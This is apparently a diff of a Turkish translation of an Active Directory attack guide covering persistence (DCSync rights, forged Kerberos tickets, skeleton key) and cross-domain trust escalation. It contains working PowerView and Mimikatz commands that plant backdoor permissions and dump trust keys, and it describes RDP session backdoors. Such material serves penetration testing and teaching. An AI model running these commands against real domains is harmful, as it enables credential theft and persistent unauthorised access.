Alan içinde bir **Spool hizmetinin dinlendiğini** keşfetmek, **yeni kimlik bilgileri edinmek** ve **yetki yükseltmek** için **kötüye kullanılabilir**.
|
||||
|
||||
{{#ref}}
|
||||
printers-spooler-service-abuse.md
|
||||
@ -346,7 +349,7 @@ laps.md
|
||||
|
||||
### Sertifika Hırsızlığı
|
||||
|
||||
Ele geçirilmiş bir makineden **sertifikaları toplamak**, ortam içinde yetkileri yükseltmenin bir yolu olabilir:
|
||||
Ele geçirilmiş bir makineden **sertifikaları toplamak**, ortam içinde yetki yükseltmenin bir yolu olabilir:
|
||||
|
||||
{{#ref}}
|
||||
ad-certificates/certificate-theft.md
|
||||
@ -354,7 +357,7 @@ ad-certificates/certificate-theft.md
|
||||
|
||||
### Sertifika Şablonlarının Kötüye Kullanımı
|
||||
|
||||
Eğer **savunmasız şablonlar** yapılandırılmışsa, bunları yetkileri yükseltmek için kötüye kullanmak mümkündür:
|
||||
Eğer **savunmasız şablonlar** yapılandırılmışsa, bunları yetki yükseltmek için kötüye kullanmak mümkündür:
|
||||
|
||||
{{#ref}}
|
||||
ad-certificates/domain-escalation.md
|
||||
@ -377,25 +380,25 @@ Daha önce tartışılan bazı teknikler süreklilik için kullanılabilir.\
|
||||
|
||||
- Kullanıcıları [**Kerberoast**](kerberoast.md) için savunmasız hale getirin
|
||||
|
||||
```powershell
|
||||
```bash
|
||||
Set-DomainObject -Identity <username> -Set @{serviceprincipalname="fake/NOTHING"}r
|
||||
```
|
||||
|
||||
- Kullanıcıları [**ASREPRoast**](asreproast.md) için savunmasız hale getirin
|
||||
|
||||
```powershell
|
||||
```bash
|
||||
Set-DomainObject -Identity <username> -XOR @{UserAccountControl=4194304}
|
||||
```
|
||||
|
||||
- Bir kullanıcıya [**DCSync**](#dcsync) yetkileri verin
|
||||
|
||||
```powershell
|
||||
```bash
|
||||
Add-DomainObjectAcl -TargetIdentity "DC=SUB,DC=DOMAIN,DC=LOCAL" -PrincipalIdentity bfarmer -Rights DCSync
|
||||
```
|
||||
|
||||
### Gümüş Bilet
|
||||
|
||||
**Gümüş Bilet saldırısı**, belirli bir hizmet için **geçerli bir Ticket Granting Service (TGS) bileti** oluşturur ve **NTLM hash**'ini kullanır (örneğin, **PC hesabının hash'i**). Bu yöntem, **hizmet yetkilerine erişmek** için kullanılır.
|
||||
**Gümüş Bilet saldırısı**, belirli bir hizmet için **geçerli bir Ticket Granting Service (TGS) bileti** oluşturur ve bunu **NTLM hash**'ini kullanarak gerçekleştirir (örneğin, **PC hesabının hash'i**). Bu yöntem, **hizmet ayrıcalıklarına erişmek** için kullanılır.
|
||||
|
||||
{{#ref}}
|
||||
silver-ticket.md
|
||||
@ -403,9 +406,9 @@ silver-ticket.md
|
||||
|
||||
### Altın Bilet
|
||||
|
||||
**Altın Bilet saldırısı**, bir saldırganın Active Directory (AD) ortamında **krbtgt hesabının NTLM hash'ine** erişim sağlamasıdır. Bu hesap, AD ağında kimlik doğrulama için gerekli olan tüm **Ticket Granting Tickets (TGT'ler)**'i imzalamak için kullanıldığı için özeldir.
|
||||
Bir **Altın Bilet saldırısı**, bir saldırganın Active Directory (AD) ortamında **krbtgt hesabının NTLM hash'ine** erişim sağlamasıdır. Bu hesap, AD ağında kimlik doğrulama için gerekli olan tüm **Ticket Granting Tickets (TGT'ler)**'i imzalamak için kullanıldığı için özeldir.
|
||||
|
||||
Saldırgan bu hash'i elde ettiğinde, seçtiği herhangi bir hesap için **TGT'ler** oluşturabilir (Gümüş bilet saldırısı).
|
||||
Saldırgan bu hash'i elde ettiğinde, istedikleri herhangi bir hesap için **TGT'ler** oluşturabilir (Gümüş bilet saldırısı).
|
||||
|
||||
{{#ref}}
|
||||
golden-ticket.md
|
||||
@ -413,7 +416,7 @@ golden-ticket.md
|
||||
|
||||
### Elmas Bilet
|
||||
|
||||
Bunlar, **yaygın altın bilet tespit mekanizmalarını atlayacak şekilde** sahte olarak oluşturulmuş altın biletler gibidir.
|
||||
Bunlar, **yaygın altın bilet tespit mekanizmalarını atlayacak şekilde** sahte bir şekilde oluşturulmuş altın biletler gibidir.
|
||||
|
||||
{{#ref}}
|
||||
diamond-ticket.md
|
||||
@ -421,7 +424,7 @@ diamond-ticket.md
|
||||
|
||||
### **Sertifikalar Hesap Sürekliliği**
|
||||
|
||||
**Bir hesabın sertifikalarına sahip olmak veya bunları talep edebilmek**, kullanıcı hesabında sürekliliği sağlamak için çok iyi bir yoldur (kullanıcı parolayı değiştirse bile):
|
||||
**Bir hesabın sertifikalarına sahip olmak veya bunları talep edebilmek**, kullanıcı hesabında sürekliliği sağlamak için çok iyi bir yoldur (şifreyi değiştirse bile):
|
||||
|
||||
{{#ref}}
|
||||
ad-certificates/account-persistence.md
|
||||
@ -429,7 +432,7 @@ ad-certificates/account-persistence.md
|
||||
|
||||
### **Sertifikalar Alan Sürekliliği**
|
||||
|
||||
**Sertifikaları kullanarak, alan içinde yüksek yetkilerle de süreklilik sağlamak mümkündür:**
|
||||
**Sertifikaları kullanmak, alan içinde yüksek yetkilerle sürekliliği sağlamak için de mümkündür:**
|
||||
|
||||
{{#ref}}
|
||||
ad-certificates/domain-persistence.md
|
||||
@ -451,7 +454,7 @@ dsrm-credentials.md
|
||||
|
||||
### ACL Sürekliliği
|
||||
|
||||
Belirli alan nesneleri üzerinde bir **kullanıcıya** bazı **özel izinler** verebilir ve bu, kullanıcının gelecekte **yetkileri yükseltmesine** olanak tanıyabilir.
|
||||
Belirli alan nesneleri üzerinde bir **kullanıcıya** bazı **özel izinler** verebilir ve bu, kullanıcının **gelecekte yetki yükseltmesine** olanak tanır.
|
||||
|
||||
{{#ref}}
|
||||
acl-persistence-abuse/
|
||||
@ -459,7 +462,7 @@ acl-persistence-abuse/
|
||||
|
||||
### Güvenlik Tanımlayıcıları
|
||||
|
||||
**Güvenlik tanımlayıcıları**, bir **nesnenin** üzerinde **yetkilere** sahip olduğu **nesneyi** **saklamak** için kullanılır. Eğer bir nesnenin **güvenlik tanımlayıcısında** sadece **küçük bir değişiklik** yapabilirseniz, o nesne üzerinde, ayrıcalıklı bir grubun üyesi olmanıza gerek kalmadan çok ilginç yetkilere sahip olabilirsiniz.
|
||||
**Güvenlik tanımlayıcıları**, bir **nesnenin** üzerinde **izinleri** **saklamak** için kullanılır. Eğer bir nesnenin **güvenlik tanımlayıcısında** sadece **küçük bir değişiklik** yapabilirseniz, o nesne üzerinde, ayrıcalıklı bir grubun üyesi olmanıza gerek kalmadan çok ilginç yetkilere sahip olabilirsiniz.
|
||||
|
||||
{{#ref}}
|
||||
security-descriptors.md
|
||||
@ -467,7 +470,7 @@ security-descriptors.md
|
||||
|
||||
### İskelet Anahtar
|
||||
|
||||
**LSASS**'ı bellekte değiştirerek, tüm alan hesaplarına erişim sağlayan **evrensel bir parola** oluşturun.
|
||||
**LSASS**'ı bellekte değiştirerek **evrensel bir parola** oluşturun ve tüm alan hesaplarına erişim sağlayın.
|
||||
|
||||
{{#ref}}
|
||||
skeleton-key.md
|
||||
@ -493,47 +496,47 @@ dcshadow.md
|
||||
|
||||
### LAPS Sürekliliği
|
||||
|
||||
Daha önce, **LAPS parolalarını okuma iznine sahip olduğunuzda** yetkileri nasıl yükseltebileceğimizi tartıştık. Ancak, bu parolalar **sürekliliği sağlamak** için de kullanılabilir.\
|
||||
Daha önce, **LAPS parolalarını okuma iznine sahip olduğunuzda** yetki yükseltmenin nasıl yapılacağını tartıştık. Ancak, bu parolalar **sürekliliği sağlamak** için de kullanılabilir.\
|
||||
Kontrol edin:
|
||||
|
||||
{{#ref}}
|
||||
laps.md
|
||||
{{#endref}}
|
||||
|
||||
## Orman Yetki Yükseltme - Alan Güven İlişkileri
|
||||
## Orman Yetki Yükseltmesi - Alan Güvenleri
|
||||
|
||||
Microsoft, **Ormanı** güvenlik sınırı olarak görmektedir. Bu, **tek bir alanın ele geçirilmesinin, tüm Ormanın ele geçirilmesine yol açabileceği** anlamına gelir.
|
||||
|
||||
### Temel Bilgiler
|
||||
|
||||
Bir [**alan güveni**](<http://technet.microsoft.com/en-us/library/cc759554(v=ws.10).aspx>), bir **alan** kullanıcısının başka bir **alan** içindeki kaynaklara erişimini sağlayan bir güvenlik mekanizmasıdır. Temelde, iki alanın kimlik doğrulama sistemleri arasında bir bağlantı oluşturur ve kimlik doğrulama doğrulamalarının sorunsuz bir şekilde akmasına olanak tanır. Alanlar bir güven oluşturduğunda, güvenin bütünlüğü için kritik olan belirli **anahtarları** **Domain Controller'ları (DC'ler)** arasında değiş tokuş eder ve saklar.
|
||||
Bir [**alan güveni**](<http://technet.microsoft.com/en-us/library/cc759554(v=ws.10).aspx>), bir **alan** içindeki bir kullanıcının başka bir **alan** içindeki kaynaklara erişimini sağlayan bir güvenlik mekanizmasıdır. Temelde, iki alanın kimlik doğrulama sistemleri arasında bir bağlantı oluşturur ve kimlik doğrulama doğrulamalarının sorunsuz bir şekilde akmasına olanak tanır. Alanlar bir güven oluşturduğunda, güvenin bütünlüğü için kritik olan belirli **anahtarları** **Domain Controller'ları (DC'ler)** arasında değiş tokuş eder ve saklar.
|
||||
|
||||
Tipik bir senaryoda, bir kullanıcı **güvenilir bir alandaki** bir hizmete erişmek istediğinde, önce kendi alanının DC'sinden **inter-realm TGT** olarak bilinen özel bir bilet talep etmesi gerekir. Bu TGT, her iki alanın üzerinde anlaştığı paylaşılan bir **anahtar** ile şifrelenmiştir. Kullanıcı daha sonra bu TGT'yi **güvenilir alanın DC'sine** sunarak bir hizmet bileti (**TGS**) alır. Güvenilir alanın DC'si inter-realm TGT'yi başarılı bir şekilde doğruladığında, bir TGS vererek kullanıcıya hizmete erişim izni verir.
|
||||
Tipik bir senaryoda, bir kullanıcı **güvenilir bir alandaki** bir hizmete erişmek istediğinde, önce kendi alanının DC'sinden **inter-realm TGT** olarak bilinen özel bir bilet talep etmesi gerekir. Bu TGT, her iki alanın üzerinde anlaştığı bir **anahtar** ile şifrelenmiştir. Kullanıcı, bu TGT'yi **güvenilir alanın DC'sine** sunarak bir hizmet bileti (**TGS**) alır. Güvenilir alanın DC'si inter-realm TGT'yi başarılı bir şekilde doğruladığında, bir TGS vererek kullanıcıya hizmete erişim izni verir.
|
||||
|
||||
**Adımlar**:
|
||||
|
||||
1. **Domain 1**'deki bir **istemci bilgisayar**, **Domain Controller (DC1)**'den **Ticket Granting Ticket (TGT)** talep etmek için **NTLM hash**'ini kullanarak süreci başlatır.
|
||||
2. DC1, istemci başarılı bir şekilde kimlik doğrulandıysa yeni bir TGT verir.
|
||||
3. İstemci daha sonra **Domain 2**'deki kaynaklara erişmek için DC1'den bir **inter-realm TGT** talep eder.
|
||||
4. Inter-realm TGT, iki yönlü alan güveni çerçevesinde DC1 ve DC2 arasında paylaşılan bir **güven anahtarı** ile şifrelenmiştir.
|
||||
4. Inter-realm TGT, DC1 ve DC2 arasında iki yönlü alan güveni kapsamında paylaşılan bir **güven anahtarı** ile şifrelenmiştir.
|
||||
5. İstemci, inter-realm TGT'yi **Domain 2'nin Domain Controller'ı (DC2)**'ye götürür.
|
||||
6. DC2, inter-realm TGT'yi paylaşılan güven anahtarı ile doğrular ve geçerli ise, istemcinin erişmek istediği Domain 2'deki sunucu için bir **Ticket Granting Service (TGS)** verir.
|
||||
6. DC2, inter-realm TGT'yi paylaşılan güven anahtarını kullanarak doğrular ve geçerli ise, istemcinin erişmek istediği Domain 2'deki sunucu için bir **Ticket Granting Service (TGS)** verir.
|
||||
7. Son olarak, istemci bu TGS'yi sunucuya sunar; bu, sunucunun hesap hash'i ile şifrelenmiştir ve Domain 2'deki hizmete erişim sağlar.
|
||||
|
||||
### Farklı Güvenler
|
||||
|
||||
**Bir güvenin 1 yönlü veya 2 yönlü olabileceğini** belirtmek önemlidir. 2 yönlü seçeneklerde, her iki alan birbirine güvenecektir, ancak **1 yönlü** güven ilişkisi durumunda bir alan **güvenilir** ve diğeri **güvenen** alan olacaktır. Son durumda, **güvenilir alandan güvenen alana yalnızca güvenen alan içindeki kaynaklara erişim sağlayabilirsiniz**.
|
||||
**Bir güvenin 1 yönlü veya 2 yönlü olabileceğini** belirtmek önemlidir. 2 yönlü seçeneklerde, her iki alan da birbirine güvenecektir, ancak **1 yönlü** güven ilişkisi durumunda bir alan **güvenilir** ve diğeri **güvenen** alan olacaktır. Son durumda, **güvenilir olan alandan güvenen alandaki kaynaklara erişim sağlayabilirsiniz**.
|
||||
|
||||
Eğer Alan A, Alan B'ye güveniyorsa, A güvenen alan ve B güvenilir olanıdır. Ayrıca, **Alan A**'da bu bir **Çıkış güveni**; ve **Alan B**'de bu bir **Giriş güveni** olacaktır.
|
||||
Eğer Alan A, Alan B'ye güveniyorsa, A güvenen alan ve B güvenilir olanıdır. Ayrıca, **Alan A**'da bu bir **Çıkış güveni**; **Alan B**'de ise bu bir **Giriş güveni** olacaktır.
|
||||
|
||||
**Farklı güvenen ilişkileri**
|
||||
|
||||
- **Ana-Çocuk Güvenleri**: Bu, aynı orman içinde yaygın bir yapılandırmadır; burada bir çocuk alanı otomatik olarak ana alanı ile iki yönlü geçişli bir güvene sahiptir. Temelde, bu, kimlik doğrulama taleplerinin ana ve çocuk arasında sorunsuz bir şekilde akabileceği anlamına gelir.
|
||||
- **Çapraz Bağlantı Güvenleri**: "Kısa yol güvenleri" olarak adlandırılan bu güvenler, çocuk alanları arasında referans süreçlerini hızlandırmak için kurulur. Karmaşık ormanlarda, kimlik doğrulama referanslarının genellikle orman köküne kadar gitmesi ve ardından hedef alana inmesi gerekir. Çapraz bağlantılar oluşturarak, yolculuk kısaltılır; bu, coğrafi olarak dağılmış ortamlarda özellikle faydalıdır.
|
||||
- **Ana-Çocuk Güvenleri**: Bu, aynı orman içinde yaygın bir kurulumdur; burada bir çocuk alanı otomatik olarak ana alanı ile iki yönlü geçişli bir güvene sahiptir. Temelde, bu, kimlik doğrulama taleplerinin ana ve çocuk arasında sorunsuz bir şekilde akabileceği anlamına gelir.
|
||||
- **Çapraz Bağlantı Güvenleri**: "Kestirme güvenler" olarak adlandırılan bu güvenler, referans süreçlerini hızlandırmak için çocuk alanları arasında kurulur. Karmaşık ormanlarda, kimlik doğrulama referanslarının genellikle orman köküne kadar gitmesi ve ardından hedef alana inmesi gerekir. Çapraz bağlantılar oluşturarak, yolculuk kısaltılır; bu, coğrafi olarak dağılmış ortamlarda özellikle faydalıdır.
|
||||
- **Dış Güvenler**: Farklı, alakasız alanlar arasında kurulan bu güvenler doğası gereği geçişli değildir. [Microsoft'un belgelerine](<https://technet.microsoft.com/en-us/library/cc773178(v=ws.10).aspx>) göre, dış güvenler, mevcut ormanın dışında, orman güveni ile bağlı olmayan bir alandaki kaynaklara erişim için yararlıdır. Güvenlik, dış güvenlerle SID filtrelemesi ile artırılır.
|
||||
- **Ağaç-kök Güvenleri**: Bu güvenler, orman kök alanı ile yeni eklenen bir ağaç kökü arasında otomatik olarak kurulur. Genellikle karşılaşılmasa da, ağaç-kök güvenleri, yeni alan ağaçlarını bir ormana eklemek için önemlidir; bu, benzersiz bir alan adı korumalarına ve iki yönlü geçişliliği sağlamalarına olanak tanır. Daha fazla bilgi [Microsoft'un kılavuzunda](<https://technet.microsoft.com/en-us/library/cc773178(v=ws.10).aspx>) bulunabilir.
|
||||
- **Orman Güvenleri**: Bu tür bir güven, iki orman kök alanı arasında iki yönlü geçişli bir güvendir ve güvenlik önlemlerini artırmak için SID filtrelemesi uygular.
|
||||
- **MIT Güvenleri**: Bu güvenler, Windows dışındaki [RFC4120 uyumlu](https://tools.ietf.org/html/rfc4120) Kerberos alanları ile kurulur. MIT güvenleri, Windows ekosisteminin dışındaki Kerberos tabanlı sistemlerle entegrasyon gerektiren ortamlara yönelik daha özel bir yapıdadır.
|
||||
- **MIT Güvenleri**: Bu güvenler, Windows dışındaki, [RFC4120 uyumlu](https://tools.ietf.org/html/rfc4120) Kerberos alanları ile kurulur. MIT güvenleri, Windows ekosisteminin dışındaki Kerberos tabanlı sistemlerle entegrasyon gerektiren ortamlara yönelik daha özel bir yapıdadır.
|
||||
|
||||
#### **Güvenen ilişkilerdeki diğer farklılıklar**
|
||||
|
||||
@ -549,12 +552,25 @@ Eğer Alan A, Alan B'ye güveniyorsa, A güvenen alan ve B güvenilir olanıdır
|
||||
|
||||
Saldırganlar, başka bir alandaki kaynaklara erişim sağlamak için üç ana mekanizma kullanabilir:
|
||||
|
||||
- **Yerel Grup Üyeliği**: İlkeler, makinelerdeki yerel gruplara eklenebilir; örneğin, bir sunucudaki “Yöneticiler” grubu, o makine üzerinde önemli bir kontrol sağlar.
|
||||
- **Yabancı Alan Grup Üyeliği**: İlkeler, yabancı alandaki grupların da üyesi olabilir. Ancak, bu yöntemin etkinliği güvenin doğasına ve grubun kapsamına bağlıdır.
|
||||
- **Erişim Kontrol Listeleri (ACL'ler)**: İlkeler, belirli kaynaklara erişim sağlamak için bir **ACL**'de, özellikle bir **DACL** içindeki **ACE'ler** olarak belirtilmiş olabilir. ACL'ler, DACL'ler ve ACE'ler hakkında daha derinlemesine bilgi edinmek isteyenler için “[An ACE Up The Sleeve](https://specterops.io/assets/resources/an_ace_up_the_sleeve.pdf)” başlıklı beyaz kağıt değerli bir kaynaktır.
|
||||
- **Yerel Grup Üyeliği**: İlkeler, makinelerdeki yerel gruplara eklenebilir; örneğin, bir sunucudaki “Yöneticiler” grubu, onlara o makine üzerinde önemli kontrol sağlar.
|
||||
- **Yabancı Alan Grup Üyeliği**: İlkeler, yabancı alandaki grupların da üyeleri olabilir. Ancak, bu yöntemin etkinliği güvenin doğasına ve grubun kapsamına bağlıdır.
|
||||
- **Erişim Kontrol Listeleri (ACL'ler)**: İlkeler, belirli kaynaklara erişim sağlamak için bir **ACL**'de belirtilmiş olabilir; özellikle **DACL** içindeki **ACE'ler** olarak. ACL'ler, DACL'ler ve ACE'ler hakkında daha derinlemesine bilgi edinmek isteyenler için “[An ACE Up The Sleeve](https://specterops.io/assets/resources/an_ace_up_the_sleeve.pdf)” başlıklı beyaz kağıt değerli bir kaynaktır.
|
||||
|
||||
### Çocuktan Ana Orman Yetki Yükseltmesi
|
||||
### Dış kullanıcılar/gruplar ile izinleri bulma
|
||||
|
||||
**`CN=<user_SID>,CN=ForeignSecurityPrincipals,DC=domain,DC=com`**'yi kontrol ederek alan içindeki yabancı güvenlik ilkelerini bulabilirsiniz. Bunlar, **bir dış alan/orman**'dan gelen kullanıcı/gruplardır.
|
||||
|
||||
Bunu **Bloodhound** veya powerview kullanarak kontrol edebilirsiniz:
|
||||
```powershell
|
||||
# Get users that are i groups outside of the current domain
|
||||
Get-DomainForeignUser
|
||||
|
||||
# Get groups inside a domain with users our
|
||||
Get-DomainForeignGroupMember
|
||||
```
|
||||
### Child-to-Parent orman ayrıcalık yükseltmesi
|
||||
```bash
|
||||
# Fro powerview
|
||||
Get-DomainTrust
|
||||
|
||||
SourceName : sub.domain.local --> current domain
|
||||
@ -565,53 +581,65 @@ TrustDirection : Bidirectional --> Trust direction (2ways in this case)
|
||||
WhenCreated : 2/19/2021 1:28:00 PM
|
||||
WhenChanged : 2/19/2021 1:28:00 PM
|
||||
```
|
||||
Alan güvenlerini listelemenin diğer yolları:
|
||||
```bash
|
||||
# Get DCs
|
||||
nltest /dsgetdc:<DOMAIN>
|
||||
|
||||
# Get all domain trusts
|
||||
nltest /domain_trusts /all_trusts /v
|
||||
|
||||
# Get all trust of a domain
|
||||
nltest /dclist:sub.domain.local
|
||||
nltest /server:dc.sub.domain.local /domain_trusts /all_trusts
|
||||
```
|
||||
> [!WARNING]
|
||||
> **2 güvenilir anahtar** vardır, biri _Çocuk --> Ebeveyn_ ve diğeri _Ebeveyn_ --> _Çocuk_ için.\
|
||||
> Mevcut alan tarafından kullanılanı şu şekilde alabilirsiniz:
|
||||
> **2 güvenilir anahtar** vardır, biri _Child --> Parent_ diğeri ise _Parent_ --> _Child_ için.\
|
||||
> Mevcut alan tarafından kullanılanı şu komutla alabilirsiniz:
|
||||
>
|
||||
> ```bash
|
||||
> Invoke-Mimikatz -Command '"lsadump::trust /patch"' -ComputerName dc.my.domain.local
|
||||
> Invoke-Mimikatz -Command '"lsadump::dcsync /user:dcorp\mcorp$"'
|
||||
> ```
|
||||
|
||||
#### SID-History Enjeksiyonu
|
||||
#### SID-History Injection
|
||||
|
||||
SID-History enjeksiyonunu kullanarak çocuk/ebeveyn alanına Enterprise admin olarak yükselme:
|
||||
SID-History injection ile çocuk/ebeveyn alanına Enterprise admin olarak yükselme:
|
||||
|
||||
{{#ref}}
|
||||
sid-history-injection.md
|
||||
{{#endref}}
|
||||
|
||||
#### Yazılabilir Konfigürasyon NC'yi Sömürme
|
||||
#### Yazılabilir Configuration NC'yi istismar etme
|
||||
|
||||
Konfigürasyon İsimlendirme Bağlamı (NC) nasıl sömürülebileceğini anlamak çok önemlidir. Konfigürasyon NC, Active Directory (AD) ortamlarında bir orman genelinde konfigürasyon verileri için merkezi bir depo görevi görür. Bu veriler, ormandaki her Alan Denetleyicisi (DC) ile çoğaltılır ve yazılabilir DC'ler, Konfigürasyon NC'nin yazılabilir bir kopyasını tutar. Bunu sömürmek için, bir DC üzerinde **SYSTEM ayrıcalıklarına** sahip olmak gerekir, tercihen bir çocuk DC.
|
||||
Configuration Naming Context (NC) nasıl istismar edileceğini anlamak çok önemlidir. Configuration NC, Active Directory (AD) ortamlarında bir orman genelinde yapılandırma verileri için merkezi bir depo görevi görür. Bu veriler, ormandaki her Domain Controller (DC) ile çoğaltılır ve yazılabilir DC'ler, Configuration NC'nin yazılabilir bir kopyasını tutar. Bunu istismar etmek için, bir DC üzerinde **SYSTEM ayrıcalıklarına** sahip olmak gerekir, tercihen bir çocuk DC.
|
||||
|
||||
**GPO'yu kök DC alanına bağlama**
|
||||
|
||||
Konfigürasyon NC'nin Siteler konteyneri, AD ormanındaki tüm alan bağlı bilgisayarların siteleri hakkında bilgi içerir. Herhangi bir DC üzerinde SYSTEM ayrıcalıkları ile çalışan saldırganlar, GPO'ları kök DC alanlarına bağlayabilir. Bu eylem, bu sitelere uygulanan politikaları manipüle ederek kök alanı tehlikeye atabilir.
|
||||
Configuration NC'nin Sites konteyneri, AD ormanındaki tüm alan katılımcısı bilgisayarların alanları hakkında bilgi içerir. Herhangi bir DC üzerinde SYSTEM ayrıcalıkları ile çalışan saldırganlar, GPO'ları kök DC alanlarına bağlayabilir. Bu eylem, bu alanlara uygulanan politikaları manipüle ederek kök alanı tehlikeye atabilir.
|
||||
|
||||
Derinlemesine bilgi için, [SID Filtrelemesini Aşma](https://improsec.com/tech-blog/sid-filter-as-security-boundary-between-domains-part-4-bypass-sid-filtering-research) üzerine yapılan araştırmalara göz atılabilir.
|
||||
Derinlemesine bilgi için, [SID Filtering'i Aşma](https://improsec.com/tech-blog/sid-filter-as-security-boundary-between-domains-part-4-bypass-sid-filtering-research) üzerine yapılan araştırmalara göz atılabilir.
|
||||
|
||||
**Ormandaki herhangi bir gMSA'yı tehlikeye atma**
|
||||
|
||||
Bir saldırı vektörü, alan içindeki ayrıcalıklı gMSA'ları hedef almayı içerir. gMSA'ların şifrelerini hesaplamak için gerekli olan KDS Root anahtarı, Konfigürasyon NC içinde saklanır. Herhangi bir DC üzerinde SYSTEM ayrıcalıkları ile, KDS Root anahtarına erişmek ve ormandaki herhangi bir gMSA için şifreleri hesaplamak mümkündür.
|
||||
Bir saldırı vektörü, alan içindeki ayrıcalıklı gMSA'ları hedef almayı içerir. gMSA'ların şifrelerini hesaplamak için gerekli olan KDS Root anahtarı, Configuration NC içinde saklanır. Herhangi bir DC üzerinde SYSTEM ayrıcalıkları ile, KDS Root anahtarına erişmek ve ormandaki herhangi bir gMSA için şifreleri hesaplamak mümkündür.
|
||||
|
||||
Detaylı analiz, [Altın gMSA Güven Saldırıları](https://improsec.com/tech-blog/sid-filter-as-security-boundary-between-domains-part-5-golden-gmsa-trust-attack-from-child-to-parent) üzerine yapılan tartışmada bulunabilir.
|
||||
Detaylı analiz, [Golden gMSA Trust Attacks](https://improsec.com/tech-blog/sid-filter-as-security-boundary-between-domains-part-5-golden-gmsa-trust-attack-from-child-to-parent) üzerine yapılan tartışmada bulunabilir.
|
||||
|
||||
**Şema değişikliği saldırısı**
|
||||
|
||||
Bu yöntem, yeni ayrıcalıklı AD nesnelerinin oluşturulmasını beklemeyi gerektirir. SYSTEM ayrıcalıkları ile, bir saldırgan AD Şemasını değiştirerek herhangi bir kullanıcıya tüm sınıflar üzerinde tam kontrol verebilir. Bu, yeni oluşturulan AD nesnelerine yetkisiz erişim ve kontrol sağlayabilir.
|
||||
Bu yöntem, yeni ayrıcalıklı AD nesnelerinin oluşturulmasını beklemeyi gerektirir. SYSTEM ayrıcalıkları ile, bir saldırgan AD Şemasını değiştirerek herhangi bir kullanıcıya tüm sınıflar üzerinde tam kontrol verebilir. Bu, yetkisiz erişim ve yeni oluşturulan AD nesneleri üzerinde kontrol sağlama ile sonuçlanabilir.
|
||||
|
||||
Daha fazla okuma için [Şema Değişikliği Güven Saldırıları](https://improsec.com/tech-blog/sid-filter-as-security-boundary-between-domains-part-6-schema-change-trust-attack-from-child-to-parent) üzerine bakılabilir.
|
||||
|
||||
**DA'dan EA'ya ADCS ESC5 ile**
|
||||
|
||||
ADCS ESC5 açığı, ormandaki herhangi bir kullanıcı olarak kimlik doğrulamasını sağlayan bir sertifika şablonu oluşturmak için Kamu Anahtarı Altyapısı (PKI) nesneleri üzerindeki kontrolü hedef alır. PKI nesneleri Konfigürasyon NC içinde bulunduğundan, yazılabilir bir çocuk DC'yi tehlikeye atmak, ESC5 saldırılarının gerçekleştirilmesini sağlar.
|
||||
ADCS ESC5 açığı, ormandaki herhangi bir kullanıcı olarak kimlik doğrulamasını sağlayan bir sertifika şablonu oluşturmak için Kamu Anahtar Altyapısı (PKI) nesneleri üzerindeki kontrolü hedef alır. PKI nesneleri Configuration NC içinde bulunduğundan, yazılabilir bir çocuk DC'yi tehlikeye atmak, ESC5 saldırılarının gerçekleştirilmesini sağlar.
|
||||
|
||||
Bununla ilgili daha fazla ayrıntı [DA'dan EA'ya ESC5 ile](https://posts.specterops.io/from-da-to-ea-with-esc5-f9f045aa105c) makalesinde okunabilir. ADCS olmayan senaryolarda, saldırgan gerekli bileşenleri kurma yeteneğine sahiptir; bu, [Çocuk Alan Yöneticilerinden Kurumsal Yöneticilere Yükselme](https://www.pkisolutions.com/escalating-from-child-domains-admins-to-enterprise-admins-in-5-minutes-by-abusing-ad-cs-a-follow-up/) üzerine tartışıldığı gibi.
|
||||
|
||||
### Harici Orman Alanı - Tek Yönlü (Giriş) veya iki yönlü
|
||||
```powershell
|
||||
### Dış Orman Alanı - Tek Yönlü (Giriş) veya iki yönlü
|
||||
```bash
|
||||
Get-DomainTrust
|
||||
SourceName : a.domain.local --> Current domain
|
||||
TargetName : domain.external --> Destination domain
|
||||
@ -628,7 +656,7 @@ external-forest-domain-oneway-inbound.md
|
||||
{{#endref}}
|
||||
|
||||
### Dış Orman Alanı - Tek Yönlü (Çıkış)
|
||||
```powershell
|
||||
```bash
|
||||
Get-DomainTrust -Domain current.local
|
||||
|
||||
SourceName : current.local --> Current domain
|
||||
@ -639,18 +667,18 @@ TrustDirection : Outbound --> Outbound trust
|
||||
WhenCreated : 2/19/2021 10:15:24 PM
|
||||
WhenChanged : 2/19/2021 10:15:24 PM
|
||||
```
|
||||
Bu senaryoda **domaininiz**, **farklı domainlerden** bir **prensipe** bazı **ayrımcı yetkiler** vermektedir.
|
||||
Bu senaryoda **domain'iniz** bazı **yetkileri** **farklı domainlerden** bir prensibe **güvenmektedir**.
|
||||
|
||||
Ancak, bir **domain, güvenilen domain** tarafından güvenildiğinde, güvenilen domain **tahmin edilebilir bir isimle** bir **kullanıcı oluşturur** ve bu kullanıcı **güvenilen şifreyi** kullanır. Bu, **güvenilen domain içindeki bir kullanıcıya erişim sağlamak için güvenilen domainin kullanıcılarından birine erişmenin mümkün olduğu** anlamına gelir ve bu da onu listelemek ve daha fazla yetki artırmaya çalışmak için bir fırsat sunar:
|
||||
Ancak, bir **domain güvenildiğinde**, güvenilen domain **tahmin edilebilir bir isimle** bir **kullanıcı oluşturur** ve bu kullanıcı **güvenilen şifreyi** **şifre** olarak kullanır. Bu, **güvenilen domain'e girmek için güvenen domain'den bir kullanıcıya erişmenin** mümkün olduğu anlamına gelir; bu da onu listelemek ve daha fazla yetki artırmaya çalışmak için kullanılabilir:
|
||||
|
||||
{{#ref}}
|
||||
external-forest-domain-one-way-outbound.md
|
||||
{{#endref}}
|
||||
|
||||
Güvenilen domaini tehlikeye atmanın bir başka yolu, **domain güveni** yönünde **oluşturulmuş bir [**SQL güvenilir bağlantısı**](abusing-ad-mssql.md#mssql-trusted-links)** bulmaktır (bu çok yaygın değildir).
|
||||
Güvenilen domain'i tehlikeye atmanın bir başka yolu, **domain güveninin ters yönünde** oluşturulmuş bir [**SQL güvenilir bağlantısı**](abusing-ad-mssql.md#mssql-trusted-links) bulmaktır (bu çok yaygın değildir).
|
||||
|
||||
Güvenilen domaini tehlikeye atmanın bir başka yolu, **güvenilen domainin bir kullanıcısının erişebileceği** bir makinede beklemektir ve bu sayede **RDP** üzerinden giriş yapmaktır. Ardından, saldırgan RDP oturum sürecine kod enjekte edebilir ve **kurbanın orijinal domainine** buradan erişebilir.\
|
||||
Ayrıca, eğer **kurban sabit diskini bağladıysa**, saldırgan **RDP oturumu** sürecinden **sabit diskin başlangıç klasörüne** **arka kapılar** depolayabilir. Bu teknik **RDPInception** olarak adlandırılmaktadır.
|
||||
